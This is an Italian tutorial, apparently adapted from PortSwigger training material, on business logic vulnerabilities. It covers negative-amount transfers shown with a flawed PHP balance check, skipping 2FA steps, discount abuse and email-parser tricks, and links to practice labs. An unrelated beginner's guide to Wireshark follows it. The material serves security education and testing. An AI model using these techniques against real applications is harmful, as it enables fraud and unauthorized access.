In questa sezione introdurremo il concetto di vulnerabilità della logica aziendale e spiegheremo come possono verificarsi a causa di presupposti errati sul comportamento degli utenti. Discuteremo il potenziale impatto dei difetti logici e come sfruttarli. Infine, forniremo alcune best practice generali per aiutarti a prevenire questo tipo di difetti logici che si verificano nelle tue applicazioni.

Quali sono le vulnerabilità della logica aziendale?

Le vulnerabilità della logica aziendale sono difetti nella progettazione e nell’implementazione di un’applicazione che consentono a un utente malintenzionato di provocare comportamenti non desiderati. Ciò consente potenzialmente agli aggressori di manipolare funzionalità legittime per raggiungere un obiettivo dannoso. Questi difetti sono generalmente il risultato dell’incapacità di anticipare gli stati insoliti dell’applicazione che potrebbero verificarsi e, di conseguenza, dell’incapacità di gestirli in modo sicuro.

Nota

In questo contesto, il termine “logica di business” si riferisce semplicemente all’insieme di regole che definiscono il funzionamento dell’applicazione. Poiché queste regole non sono sempre direttamente correlate a un’azienda, le vulnerabilità associate sono note anche come “vulnerabilità della logica dell’applicazione” o semplicemente “difetti logici”.

I difetti logici sono spesso invisibili alle persone che non li cercano esplicitamente poiché in genere non vengono scoperti dal normale utilizzo dell’applicazione. Tuttavia, un utente malintenzionato potrebbe essere in grado di sfruttare peculiarità comportamentali interagendo con l’applicazione in modi che gli sviluppatori non avrebbero mai previsto.

Uno degli scopi principali della logica aziendale è applicare le regole e i vincoli definiti durante la progettazione dell’applicazione o della funzionalità. In generale, le regole aziendali stabiliscono come l’applicazione dovrebbe reagire quando si verifica un determinato scenario. Ciò include impedire agli utenti di fare cose che avranno un impatto negativo sull’azienda o che semplicemente non hanno senso.

Difetti nella logica possono consentire agli aggressori di aggirare queste regole. Ad esempio, potrebbero essere in grado di completare una transazione senza passare attraverso il flusso di lavoro di acquisto previsto. In altri casi, la convalida interrotta o inesistente dei dati forniti dall’utente potrebbe consentire agli utenti di apportare modifiche arbitrarie ai valori critici della transazione o di inviare input senza senso. Passando valori imprevisti nella logica lato server, un utente malintenzionato può potenzialmente indurre l’applicazione a fare qualcosa che non dovrebbe fare.

Le vulnerabilità basate sulla logica possono essere estremamente diverse e spesso sono esclusive dell’applicazione e della sua funzionalità specifica. Identificarli spesso richiede una certa dose di conoscenza umana, come la comprensione del dominio aziendale o degli obiettivi che un utente malintenzionato potrebbe avere in un determinato contesto. Ciò li rende difficili da rilevare utilizzando scanner di vulnerabilità automatizzati. Di conseguenza, i difetti logici sono un ottimo obiettivo per i cacciatori di bug e i tester manuali in generale.

Come nascono le vulnerabilità della logica aziendale?

Le vulnerabilità della logica aziendale spesso sorgono perché i team di progettazione e sviluppo formulano ipotesi errate sul modo in cui gli utenti interagiranno con l’applicazione. Questi presupposti errati possono portare a una convalida inadeguata dell’input dell’utente. Ad esempio, se gli sviluppatori presuppongono che gli utenti passeranno i dati esclusivamente tramite un browser Web, l’applicazione potrebbe fare affidamento interamente su deboli controlli lato client per convalidare l’input. Questi vengono facilmente aggirati da un utente malintenzionato utilizzando un proxy di intercettazione.

In definitiva, ciò significa che quando un utente malintenzionato si discosta dal comportamento previsto dall’utente, l’applicazione non riesce ad adottare le misure appropriate per prevenirlo e, di conseguenza, non riesce a gestire la situazione in modo sicuro.

I difetti logici sono particolarmente comuni nei sistemi eccessivamente complicati che nemmeno lo stesso team di sviluppo comprende appieno. Per evitare difetti logici, gli sviluppatori devono comprendere l’applicazione nel suo insieme. Ciò include la consapevolezza di come diverse funzioni possano essere combinate in modi inaspettati. Gli sviluppatori che lavorano su codebase di grandi dimensioni potrebbero non avere una conoscenza approfondita del funzionamento di tutte le aree dell’applicazione. Qualcuno che lavora su un componente potrebbe formulare ipotesi errate sul funzionamento di un altro componente e, di conseguenza, introdurre inavvertitamente gravi difetti logici. Se gli sviluppatori non documentano esplicitamente le ipotesi fatte, è facile che questo tipo di vulnerabilità si insinuino in un’applicazione.

Qual è l’impatto delle vulnerabilità della logica aziendale?

L’impatto delle vulnerabilità della logica aziendale può, a volte, essere piuttosto banale. Si tratta di una categoria ampia e l’impatto è molto variabile. Tuttavia, qualsiasi comportamento involontario può potenzialmente portare ad attacchi di elevata gravità se un utente malintenzionato è in grado di manipolare l’applicazione nel modo giusto. Per questo motivo, la logica bizzarra dovrebbe idealmente essere corretta anche se non riesci a capire come sfruttarla da solo. C’è sempre il rischio che qualcun altro possa farlo.

Fondamentalmente, l’impatto di qualsiasi difetto logico dipende dalla funzionalità a cui è correlato. Se il difetto risiede, ad esempio, nel meccanismo di autenticazione, ciò potrebbe avere un grave impatto sulla sicurezza complessiva. Gli aggressori potrebbero potenzialmente sfruttarlo per aumentare i privilegi o aggirare completamente l’autenticazione, ottenendo l’accesso a dati e funzionalità sensibili. Ciò espone anche una maggiore superficie di attacco per altri exploit.

Una logica errata nelle transazioni finanziarie può ovviamente portare a ingenti perdite per l’azienda attraverso il furto di fondi, frodi e così via.

È inoltre necessario tenere presente che, anche se i difetti logici potrebbero non consentire a un utente malintenzionato di trarne un vantaggio diretto, potrebbero comunque consentire a un malintenzionato di danneggiare in qualche modo l’azienda.

Quali sono alcuni esempi di vulnerabilità della logica aziendale?

Il modo migliore per comprendere le vulnerabilità della logica aziendale è esaminare casi reali e imparare dagli errori commessi. Abbiamo fornito esempi concreti di una serie di difetti logici comuni, nonché di alcuni siti Web deliberatamente vulnerabili, in modo che tu possa esercitarti a sfruttare queste vulnerabilità da solo.

Come prevenire le vulnerabilità della logica aziendale

In breve, le chiavi per prevenire le vulnerabilità della logica aziendale sono:

  • assicurati che sviluppatori e tester comprendano il dominio servito dall’applicazione
  • evitare di fare supposizioni implicite sul comportamento dell’utente o sul comportamento di altre parti dell’applicazione

Dovresti identificare quali presupposti hai fatto riguardo allo stato lato server e implementare la logica necessaria per verificare che tali presupposti siano soddisfatti. Ciò include assicurarsi che il valore di qualsiasi input sia ragionevole prima di procedere.

È anche importante assicurarsi che sia gli sviluppatori che i tester siano in grado di comprendere appieno questi presupposti e il modo in cui l’applicazione dovrebbe reagire in diversi scenari. Ciò può aiutare il team a individuare i difetti logici il prima possibile. Per facilitare ciò, il team di sviluppo dovrebbe aderire, ove possibile, alle seguenti migliori pratiche:

  • mantieni documenti di progettazione e flussi di dati chiari per tutte le transazioni e i flussi di lavoro, annotando eventuali ipotesi formulate in ogni fase.
  • scrivi il codice nel modo più chiaro possibile. Se è difficile capire cosa dovrebbe succedere, sarà difficile individuare eventuali difetti logici. Idealmente, un codice ben scritto non dovrebbe aver bisogno di documentazione per capirlo. In casi inevitabilmente complessi, produrre una documentazione chiara è fondamentale per garantire che altri sviluppatori e tester sappiano quali ipotesi vengono fatte e qual è esattamente il comportamento previsto.
  • prendere nota di eventuali riferimenti ad altro codice che utilizza ciascun componente. Pensa agli eventuali effetti collaterali di queste dipendenze se un malintenzionato dovesse manipolarle in un modo insolito.

A causa della natura relativamente unica di molti difetti logici, è facile liquidarli come un errore occasionale dovuto a un errore umano e andare avanti. Tuttavia, come abbiamo dimostrato, questi difetti sono spesso il risultato di cattive pratiche nelle fasi iniziali della creazione dell’applicazione. Analizzare il motivo per cui esisteva un difetto logico e come il team non lo ha notato può aiutarti a individuare i punti deboli nei tuoi processi. Apportando piccole modifiche, è possibile aumentare la probabilità che difetti simili vengano eliminati alla fonte o rilevati nelle prime fasi del processo di sviluppo.

Esempi di vulnerabilità della logica aziendale

Le vulnerabilità della logica aziendale sono relativamente specifiche per il contesto in cui si verificano. Tuttavia, sebbene i singoli casi di difetti logici differiscano enormemente, possono condividere molti temi comuni. In particolare, possono essere raggruppati in modo approssimativo in base agli errori iniziali che hanno inizialmente introdotto la vulnerabilità.

In questa sezione esamineremo esempi di alcuni errori tipici commessi dai team di progettazione e sviluppo e mostreremo come possano portare direttamente a difetti nella logica aziendale. Sia che tu stia sviluppando le tue applicazioni o verificando quelle esistenti, puoi prendere le lezioni apprese da questi esempi e applicare lo stesso pensiero critico ad altre applicazioni che incontri.

Esempi di difetti logici includono:

  • fiducia eccessiva nei controlli lato client;
  • impossibile gestire input non convenzionali;
  • fare ipotesi errate sul comportamento degli utenti;
  • difetti specifici del dominio;
  • fornire un oracolo di crittografia;
  • discrepanze del parser dell’indirizzo e-mail .

Fiducia eccessiva nei controlli lato client

Un presupposto fondamentalmente errato è che gli utenti interagiranno con l’applicazione solo tramite l’interfaccia web fornita. Ciò è particolarmente pericoloso perché porta all’ulteriore presupposto che la convalida lato client impedirà agli utenti di fornire input dannosi. Tuttavia, un utente malintenzionato può semplicemente utilizzare strumenti come Burp Proxy per manomettere i dati dopo che sono stati inviati dal browser ma prima che vengano passati alla logica lato server. Ciò rende effettivamente inutili i controlli lato client.

Accettare i dati per oro colato, senza eseguire adeguati controlli di integrità e convalida lato server, può consentire a un utente malintenzionato di causare tutti i tipi di danni con uno sforzo relativamente minimo. Ciò che esattamente sono in grado di ottenere dipende dalla funzionalità e da cosa sta facendo con i dati controllabili. Nel giusto contesto, questo tipo di difetto può avere conseguenze devastanti sia per la funzionalità aziendale che per la sicurezza del sito web stesso.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-excessive-trust-in-client-side-controls

Lab: https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-broken-logic

Non riuscire a gestire input non convenzionali

Uno degli obiettivi della logica dell’applicazione è limitare l’input dell’utente a valori che aderiscono alle regole aziendali. Ad esempio, l’applicazione può essere progettata per accettare valori arbitrari di un determinato tipo di dati, ma la logica determina se questo valore è accettabile o meno dal punto di vista dell’azienda. Molte applicazioni incorporano limiti numerici nella loro logica. Ciò potrebbe includere limiti progettati per gestire l’inventario, applicare restrizioni di budget, attivare fasi della catena di fornitura e così via.

Prendiamo il semplice esempio di un negozio online. Quando ordinano i prodotti, gli utenti in genere specificano la quantità che desiderano ordinare. Sebbene in teoria qualsiasi numero intero sia un input valido, la logica aziendale potrebbe impedire agli utenti di ordinare più unità di quelle attualmente disponibili in magazzino.

Per implementare regole come questa, gli sviluppatori devono anticipare tutti i possibili scenari e incorporare modi per gestirli nella logica dell’applicazione. In altre parole, devono dire all’applicazione se deve consentire un determinato input e come dovrebbe reagire in base alle varie condizioni. Se non esiste una logica esplicita per gestire un determinato caso, ciò può portare a comportamenti imprevisti e potenzialmente sfruttabili.

Ad esempio, un tipo di dati numerico potrebbe accettare valori negativi. A seconda della funzionalità correlata, potrebbe non avere senso che la logica aziendale lo consenta. Tuttavia, se l’applicazione non esegue un’adeguata convalida lato server e rifiuta questo input, un utente malintenzionato potrebbe essere in grado di passare un valore negativo e indurre un comportamento indesiderato.

Consideriamo un trasferimento di fondi tra due conti bancari. Questa funzionalità controllerà quasi sicuramente se il mittente dispone di fondi sufficienti prima di completare il trasferimento:

$transferAmount = $_POST[’amount’];
$currentBalance = $user->getBalance();

if ($transferAmount <= $currentBalance) {
	// Complete the transfer
} else {
	// Block the transfer: insufficient funds
}

Ma se la logica non impedisce sufficientemente agli utenti di fornire un valore negativo nel parametro dell’importo, un utente malintenzionato potrebbe sfruttarlo per aggirare il controllo del saldo e trasferire fondi nella direzione “sbagliata”. Se l’aggressore ha inviato -$1000 sul conto della vittima, ciò potrebbe comportare la ricezione di $1000 dalla vittima. La logica valuterebbe sempre che -1000 è inferiore al saldo corrente e approverebbe il trasferimento.

Semplici difetti logici come questo possono essere devastanti se si verificano nella giusta funzionalità. È anche facile non notarli durante lo sviluppo e il test, soprattutto perché tali input potrebbero essere bloccati dai controlli lato client sull’interfaccia web.

Quando controlli un’applicazione, dovresti utilizzare strumenti come Burp Proxy e Repeater per provare a inviare valori non convenzionali. In particolare, prova a inserire intervalli in cui difficilmente gli utenti legittimi entreranno mai. Ciò include input numerici eccezionalmente alti o eccezionalmente bassi e stringhe anormalmente lunghe per campi basati su testo. Puoi anche provare tipi di dati inaspettati. Osservando la risposta dell’applicazione, dovresti provare a rispondere alle seguenti domande:

  • Ci sono dei limiti imposti ai dati?
  • Cosa succede quando raggiungi questi limiti?
  • È stata eseguita qualche trasformazione o normalizzazione sul tuo input?

Ciò potrebbe esporre a una convalida dell’input debole che consente di manipolare l’applicazione in modi insoliti. Tieni presente che se trovi un modulo sul sito Web di destinazione che non riesce a gestire in modo sicuro input non convenzionali, è probabile che altri moduli presentino gli stessi problemi.

Lab: https://portswigger.net/web-security/logic-flaws/examples#failing-to-handle-unconventional-input

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-low-level

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-handling-of-exceptional-input

Fare ipotesi errate sul comportamento degli utenti

Una delle cause principali più comuni delle vulnerabilità logiche è la formulazione di ipotesi errate sul comportamento degli utenti. Ciò può portare a un’ampia gamma di problemi in cui gli sviluppatori non hanno considerato scenari potenzialmente pericolosi che violano questi presupposti. In questa sezione forniremo alcuni esempi cautelativi di presupposti comuni che dovrebbero essere evitati e dimostreremo come possano portare a pericolosi difetti logici.

Gli utenti fidati non rimarranno sempre affidabili

Le applicazioni possono sembrare sicure perché implementano misure apparentemente robuste per far rispettare le regole aziendali. Sfortunatamente, alcune applicazioni commettono l’errore di presumere che, dopo aver superato inizialmente questi severi controlli, si possa fidarsi dell’utente e dei suoi dati a tempo indeterminato. Ciò può comportare un’applicazione relativamente lassista degli stessi controlli da quel momento in poi.

Se le regole aziendali e le misure di sicurezza non vengono applicate in modo coerente in tutta l’applicazione, ciò può portare a lacune potenzialmente pericolose che possono essere sfruttate da un utente malintenzionato.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-inconsistent-security-controls

Gli utenti non forniranno sempre input obbligatori

Un malinteso è che gli utenti forniranno sempre valori per i campi di input obbligatori. I browser possono impedire agli utenti comuni di inviare un modulo senza un input richiesto ma, come sappiamo, gli aggressori possono manomettere i parametri in transito. Ciò si estende anche alla rimozione completa dei parametri.

Questo è un problema particolare nei casi in cui più funzioni sono implementate all’interno dello stesso script lato server. In questo caso, la presenza o l’assenza di un particolare parametro può determinare quale codice verrà eseguito. La rimozione dei valori dei parametri può consentire a un utente malintenzionato di accedere a percorsi di codice che dovrebbero essere fuori portata.

Quando cerchi difetti logici, dovresti provare a rimuovere ciascun parametro a turno e osservare quale effetto questo ha sulla risposta. Dovresti assicurarti di:

  • rimuovere solo un parametro alla volta per garantire che vengano raggiunti tutti i percorsi del codice rilevanti;
  • provare a eliminare il nome del parametro e il valore. Il server in genere gestirà entrambi i casi in modo diverso;
  • seguire i processi in più fasi fino al completamento. A volte la manomissione di un parametro in un passaggio avrà un effetto su un altro passaggio più avanti nel flusso di lavoro.

Questo vale sia per i parametri URL che per quelli POST, ma non dimenticare di controllare anche i cookie. Questo semplice processo può rivelare alcuni comportamenti bizzarri dell’applicazione che potrebbero essere sfruttabili.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-weak-isolation-on-dual-use-endpoint

Lab: https://portswigger.net/web-security/authentication/other-mechanisms/lab-password-reset-broken-logic

Gli utenti non seguiranno sempre la sequenza prevista

Molte transazioni si basano su flussi di lavoro predefiniti costituiti da una sequenza di passaggi. L’interfaccia web in genere guida gli utenti attraverso questo processo, portandoli alla fase successiva del flusso di lavoro ogni volta che completano quello corrente. Tuttavia, gli aggressori non necessariamente aderiranno a questa sequenza prevista. Non tenere conto di questa possibilità può portare a difetti pericolosi che possono essere relativamente semplici da sfruttare.

Ad esempio, molti siti Web che implementano l’autenticazione a due fattori (2FA) richiedono agli utenti di accedere su una pagina prima di inserire un codice di verifica su una pagina separata. Supponendo che gli utenti seguano sempre questo processo fino al completamento e, di conseguenza, non verificando che lo facciano, potrebbe consentire agli aggressori di ignorare completamente il passaggio 2FA.

Lab: https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-simple-bypass

Fare ipotesi sulla sequenza degli eventi può portare a un’ampia gamma di problemi anche all’interno dello stesso flusso di lavoro o funzionalità. Utilizzando strumenti come Burp Proxy e Repeater, una volta che un utente malintenzionato ha visto una richiesta, può riprodurla a piacimento e utilizzare la navigazione forzata per eseguire qualsiasi interazione con il server nell’ordine desiderato. Ciò consente loro di completare diverse azioni mentre l’applicazione si trova in uno stato imprevisto.

Per identificare questo tipo di difetti, dovresti utilizzare la navigazione forzata per inviare richieste in una sequenza non prevista. Ad esempio, potresti saltare determinati passaggi, accedere a un singolo passaggio più di una volta, tornare ai passaggi precedenti e così via. Prendere nota di come si accede ai diversi passaggi. Sebbene spesso invii semplicemente una richiesta GET o POST a un URL specifico, a volte puoi accedere ai passaggi inviando diversi set di parametri allo stesso URL. Come per tutti i difetti logici, prova a identificare quali ipotesi hanno fatto gli sviluppatori e dove si trova la superficie di attacco. È quindi possibile cercare modi per violare questi presupposti.

Tieni presente che questo tipo di test causerà spesso eccezioni perché le variabili previste hanno valori nulli o non inizializzati. Anche l’arrivo in un luogo in uno stato parzialmente definito o incoerente potrebbe causare un reclamo da parte dell’applicazione. In questo caso, assicurati di prestare molta attenzione a eventuali messaggi di errore o informazioni di debug che incontri. Questi possono essere una preziosa fonte di divulgazione di informazioni, che può aiutarti a mettere a punto il tuo attacco e comprendere i dettagli chiave sul comportamento di back-end.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-flawed-state-machine

Difetti specifici del dominio

In molti casi, incontrerai difetti logici specifici del dominio aziendale o dello scopo del sito.

La funzionalità di sconto dei negozi online è una classica superficie di attacco quando si va a caccia di difetti logici. Questa può essere una potenziale miniera d’oro per un utente malintenzionato, con tutti i tipi di difetti logici di base che si verificano nel modo in cui vengono applicati gli sconti.

Ad esempio, considera un negozio online che offre uno sconto del 10% sugli ordini superiori a $ 1000. Ciò potrebbe essere vulnerabile ad abusi se la logica aziendale non riesce a verificare se l’ordine è stato modificato dopo l’applicazione dello sconto. In questo caso, un utente malintenzionato potrebbe semplicemente aggiungere articoli al carrello fino a raggiungere la soglia di $ 1000, quindi rimuovere gli articoli che non desidera prima di effettuare l’ordine. Riceverebbero quindi lo sconto sul loro ordine anche se non soddisfa più i criteri previsti.

Dovresti prestare particolare attenzione a qualsiasi situazione in cui i prezzi o altri valori sensibili vengono modificati in base a criteri determinati dalle azioni dell’utente. Cerca di capire quali algoritmi utilizza l’applicazione per apportare queste modifiche e in quale punto vengono apportate queste modifiche. Ciò spesso comporta la manipolazione dell’applicazione in modo che si trovi in ​​uno stato in cui le modifiche applicate non corrispondono ai criteri originali previsti dagli sviluppatori.

Per identificare queste vulnerabilità, è necessario riflettere attentamente su quali obiettivi potrebbe avere un utente malintenzionato e provare a trovare diversi modi per raggiungerlo utilizzando la funzionalità fornita. Ciò potrebbe richiedere un certo livello di conoscenza specifica del dominio per capire cosa potrebbe essere vantaggioso in un dato contesto. Per usare un semplice esempio, è necessario comprendere i social media per comprendere i vantaggi di costringere un gran numero di utenti a seguirti.

Senza questa conoscenza del dominio, potresti respingere un comportamento pericoloso semplicemente perché non sei consapevole dei suoi potenziali effetti a catena. Allo stesso modo, potresti avere difficoltà a unire i punti e notare come due funzioni possano essere combinate in modo dannoso. Per semplicità, gli esempi utilizzati in questo argomento sono specifici per un dominio con cui tutti gli utenti avranno già familiarità, vale a dire un negozio online. Tuttavia, che tu stia cercando bug, pentesting o anche solo uno sviluppatore che cerca di scrivere codice più sicuro, a un certo punto potresti imbatterti in applicazioni provenienti da domini meno familiari. In questo caso, dovresti leggere quanta più documentazione possibile e, ove disponibile, parlare con esperti in materia del settore per ottenere informazioni. Potrebbe sembrare un lavoro impegnativo, ma più il dominio è “oscuro”, più è probabile che gli altri tester non abbiano notato molti bug.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-flawed-enforcement-of-business-rules

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money

Fornire un “oracolo di crittografia”

Possono verificarsi scenari pericolosi quando l’input controllabile dall’utente viene crittografato e il testo cifrato risultante viene quindi reso disponibile all’utente in qualche modo. Questo tipo di input è talvolta noto come “oracolo di crittografia”. Un utente malintenzionato può utilizzare questo input per crittografare dati arbitrari utilizzando l’algoritmo corretto e la chiave asimmetrica.

Ciò diventa pericoloso quando nell’applicazione sono presenti altri input controllabili dall’utente che prevedono dati crittografati con lo stesso algoritmo. In questo caso, un utente malintenzionato potrebbe potenzialmente utilizzare l’oracolo di crittografia per generare input validi e crittografati e quindi trasmetterli ad altre funzioni sensibili.

Questo problema può essere aggravato se sul sito è presente un altro input controllabile dall’utente che fornisce la funzione inversa. Ciò consentirebbe all’aggressore di decrittografare altri dati per identificare la struttura prevista. Ciò risparmia loro parte del lavoro necessario per creare dati dannosi, ma non è necessariamente necessario per creare un exploit di successo.

La gravità di un oracolo di crittografia dipende da quale funzionalità utilizza anche lo stesso algoritmo dell’oracolo.

Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-authentication-bypass-via-encryption-oracle

Discrepanze nel parser degli indirizzi e-mail

Alcuni siti Web analizzano gli indirizzi e-mail per estrarre il dominio e determinare a quale organizzazione appartiene il proprietario dell’e-mail. Anche se inizialmente questo processo può sembrare semplice, in realtà è molto complesso, anche per indirizzi validi conformi a RFC.

Le discrepanze nel modo in cui vengono analizzati gli indirizzi e-mail possono compromettere questa logica. Queste discrepanze si verificano quando diverse parti dell’applicazione gestiscono gli indirizzi e-mail in modo diverso.

Un utente malintenzionato può sfruttare queste discrepanze utilizzando tecniche di codifica per mascherare parti dell’indirizzo e-mail. Ciò consente all’aggressore di creare indirizzi e-mail che superano i controlli di convalida iniziali ma vengono interpretati in modo diverso dalla logica di analisi del server.

L’impatto principale delle discrepanze del parser degli indirizzi e-mail è l’accesso non autorizzato. Gli aggressori possono registrare account utilizzando indirizzi e-mail apparentemente validi provenienti da domini limitati. Ciò consente loro di accedere ad aree sensibili dell’applicazione, come pannelli di amministrazione o funzioni utente riservate.

Maggiori informazioni

Per informazioni dettagliate sulle discrepanze nell’analisi delle e-mail, incluso il modo in cui possono essere sfruttate, consultare il white paper Splitting the Email Atom: Exploiting Parser to Bypass Access Controls di Gareth Heyes del team di ricerca di PortSwigger.
Lab: https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-bypassing-access-controls-using-email-address-parsing-discrepancies

Wireshark

Una breve guida introduttiva a Wireshark: “The world’s most popular network protocol analyzer”.

Wireshark è il più celebre e diffuso analizzatore di pacchetti di rete, utilizzato ampiamente sia nel mondo accademico che professionale. Originariamente lanciato nel 1998 sotto il nome di “Ethereal”, Wireshark ha guadagnato una reputazione solida per la sua efficacia e versatilità nella diagnosi di problemi di rete e nella comprensione approfondita dei protocolli di rete, tanto da essere utilizzato da:

  • sistemisti: usano Wireshark per diagnosticare e risolvere problemi di prestazioni della rete;
  • studenti: trovano in Wireshark uno strumento prezioso per apprendere e visualizzare il funzionamento dei protocolli di rete;
  • analisti di sicurezza: verificano con Wireshark la presenza di dati non autorizzati o sospetti nella rete.
  • licenza GPL: Wireshark è distribuito con una licenza GPL, rendendolo un software libero e gratuito disponibile per Windows, macOS e GNU/Linux. Sul sito ufficiale è possibile trovare i file per l’installazione oltre a una vasta documentazione di riferimento;
  • formati di file: Il formato nativo per il salvataggio dei dati è il .PCAP (Packet Capture), ma Wireshark supporta e può aprire molti altri formati di file di cattura e permette l’esportazione in vari formati;
  • riconoscimento dei protocolli: Wireshark è in grado di riconoscere automaticamente una vasta gamma di protocolli di rete, consentendo agli utenti di leggere tutti i dettagli relativi ai pacchetti catturati;
  • filtraggio e ricerca: Il software permette di filtrare i dati catturati e di svolgere ricerche selettive utilizzando una sintassi comprensiva ma accessibile.

Quando si avvia Wireshark, la prima cosa che si nota sarà l’elenco delle interfacce di rete rilevate dal proprio sistema. Questo permette di visualizzare facilmente quali interfacce sono attive e di iniziare immediatamente la cattura del traffico con un semplice doppio clic su un’interfaccia specifica. Accanto alle interfacce attive, apparirà anche un piccolo grafico che indica l’attività di rete in tempo reale.

Funzionalità chiave dell’area di lavoro di Wireshark:

  • cattura e analisi di traffico preesistente: oltre a catturare traffico in tempo reale (v. Appendice “Wireshark – uso dei filtri di cattura”), Wireshark permette di aprire e analizzare file di cattura .PCAP esistenti, facilitando l’analisi di dati raccolti in precedenza;
  • visualizzazione dei dati catturati: una volta avviata la cattura, i dati vengono visualizzati in tempo reale nell’area centrale della finestra di Wireshark, nota come “elenco pacchetti”. Qui è possibile interrompere la cattura cliccando sull’icona a forma di quadrato situata nella barra degli strumenti principale, sopra l’elenco pacchetti.

Figura 1 – L’interfaccia di Wireshark

Suddivisione dell’area di lavoro (Figura 1):

  • elenco dei pacchetti: questa è la parte principale dell’interfaccia di Wireshark (lettera A), dove tutti i pacchetti di dati catturati o caricati vengono elencati. Ogni riga rappresenta un pacchetto individuale con informazioni di base come il numero di sequenza, il protocollo utilizzato, la lunghezza del pacchetto e altro;
    • dettagli del pacchetto: selezionando un pacchetto dall’elenco, i dettagli specifici del pacchetto saranno mostrati in questa area (lettera B). I dettagli sono organizzati in un formato ad albero, che riflette l’incapsulamento dei protocolli all’interno del pacchetto. Questo aiuta a comprendere come i dati sono strutturati e quali informazioni trasportano;
    • dati contenuti nel pacchetto: in questa parte dell’interfaccia, il contenuto del pacchetto selezionato viene visualizzato in forma originale, sia in esadecimale che in ASCII (lettera C). Questo è particolarmente utile per l’analisi a basso livello dei dati e per l’individuazione di specifici pattern o informazioni all’interno del payload del pacchetto.

Barre degli strumenti e utilità:

  • barra degli strumenti principale: le icone che permettono di avviare e fermare la cattura, salvare i dati, configurare le opzioni di cattura e accedere ad altre funzioni comuni;
    • barra degli strumenti di filtraggio: posta sotto la barra degli strumenti principale, questa barra permette di inserire filtri per raffinare la visualizzazione dei pacchetti. Supporta l’evidenziazione sintattica per aiutarti a scrivere correttamente le espressioni di filtro;
    • barra di stato: situata in fondo alla finestra, mostra il numero di pacchetti catturati e fornisce accesso rapido alle proprietà del file di cattura e altre informazioni rilevanti.

L’elenco dei pacchetti è il cuore del flusso di lavoro per l’analisi di una cattura dati in Wireshark. Una volta avviata la cattura, i dati vengono decodificati e ordinati in una tabella, permettendo di seguire la sequenza di cattura dal primo all’ultimo pacchetto.

Informazioni chiave per ciascun pacchetto:

  • No.: numero progressivo del pacchetto, iniziando da 1.
  • Time: istante in cui il pacchetto è stato catturato.
  • Source: indirizzo IP sorgente.
  • Destination: indirizzo IP di destinazione.
  • Protocol: protocollo di più alto livello contenuto nel pacchetto.
  • Length: dimensione del pacchetto in byte.
  • Packet Info: estratto delle informazioni più rilevanti contenute nel pacchetto.

Wireshark, inoltre, utilizza diverse colorazioni per aiutare a identificare rapidamente i tipi di pacchetti.

La barra del menu contiene moltissime funzioni e strumenti utili per gestire e analizzare le catture di rete:

  • File: importazione ed esportazione dei dati in diversi formati.
  • Modifica: ricerca e selezione dei pacchetti, modifica del profilo di configurazione e accesso alle preferenze generali.
  • Visualizza: gestione delle barre, formato di visualizzazione del tempo di cattura, regole di colorazione.
  • Vai: navigazione e ricerca nell’elenco pacchetti.
  • Cattura: opzioni e comandi per la cattura dei dati.
  • Analizza: costruzione di filtri di visualizzazione e altre funzioni di analisi dei dati.
  • Statistiche: contiene statistiche pronte per l’analisi del traffico, grafici e proprietà del file di cattura.
  • Telefonia: strumenti per l’analisi e decodifica di flussi VoIP.
  • Wireless: dedicato al traffico Bluetooth e WiFi.
  • Strumenti: funzione per la creazione di regole per i firewall.
  • Aiuto: accesso alla guida web, wiki, FAQ, catture di esempio e altre risorse utili. Include anche informazioni sulla versione di Wireshark e sulle combinazioni di tasti.

Tra le diverse funzionalità di analisi fornite da Wireshark vi è il menu statistiche, una risorsa potente per effettuare una prima analisi generale dei dati catturati. Questo menu offre una varietà di strumenti che permettono di visualizzare informazioni dettagliate sul traffico di rete, gli host coinvolti, le connessioni stabilite e i protocolli utilizzati. Ecco una panoramica delle voci più utili disponibili nel menu Statistiche:

  • proprietà del file di cattura: questa opzione fornisce una visione generale dei metadati del file di cattura, come la dimensione in byte, la data e l’ora di cattura, il nome del file e altre informazioni simili. È utile per ottenere un riepilogo rapido delle caratteristiche principali della sessione di cattura;
  • terminatori (Endpoints): la voce “Endpoint” elenca tutti gli host coinvolti nel traffico di rete catturato. Per ciascun host, Wireshark mostra dettagli come gli indirizzi IP, gli indirizzi MAC, e le porte utilizzate per le connessioni TCP e UDP. Questo strumento è essenziale per identificare rapidamente gli attori chiave nella rete e per comprendere meglio la distribuzione del traffico;
  • conversazioni: simile alla voce “Endpoint”, “Conversazioni” mostra tutte le connessioni presenti nella cattura. Per ogni connessione, vengono dettagliati gli host coinvolti, i loro indirizzi IP, e le porte di connessione. Particolarmente utile per seguire il flusso di comunicazione tra specifici host e per identificare possibili pattern di traffico o connessioni sospette;
  • gerarchia dei protocolli: elenca tutti i protocolli di rete presenti nella cattura, organizzati per incapsulamento. Mostra chiaramente come i vari protocolli si stratificano e interagiscono tra loro nel flusso di dati, fornendo una visione comprensiva della struttura del traffico;
  • altre statistiche utili: il menu Statistiche contiene molte altre voci che forniscono dati specifici per protocollo e analisi più dettagliate, possono includere elementi come flussi di rete, utilizzi di banda, errori di trasmissione;
  • filtraggio automatico: una funzionalità particolarmente utile di ciascuna voce del menu Statistiche è la possibilità di costruire automaticamente filtri di visualizzazione basati sui dati analizzati.

I filtri di visualizzazione sono uno strumento essenziale in Wireshark per isolare specifiche parti del traffico di rete in base alle necessità di analisi. Questi filtri consentono di affinare la visualizzazione dei dati catturati, rendendo più efficiente l’analisi di grandi quantità di traffico (v. Appendice “Analizzare una cattura usando i filtri di visualizzazione”).

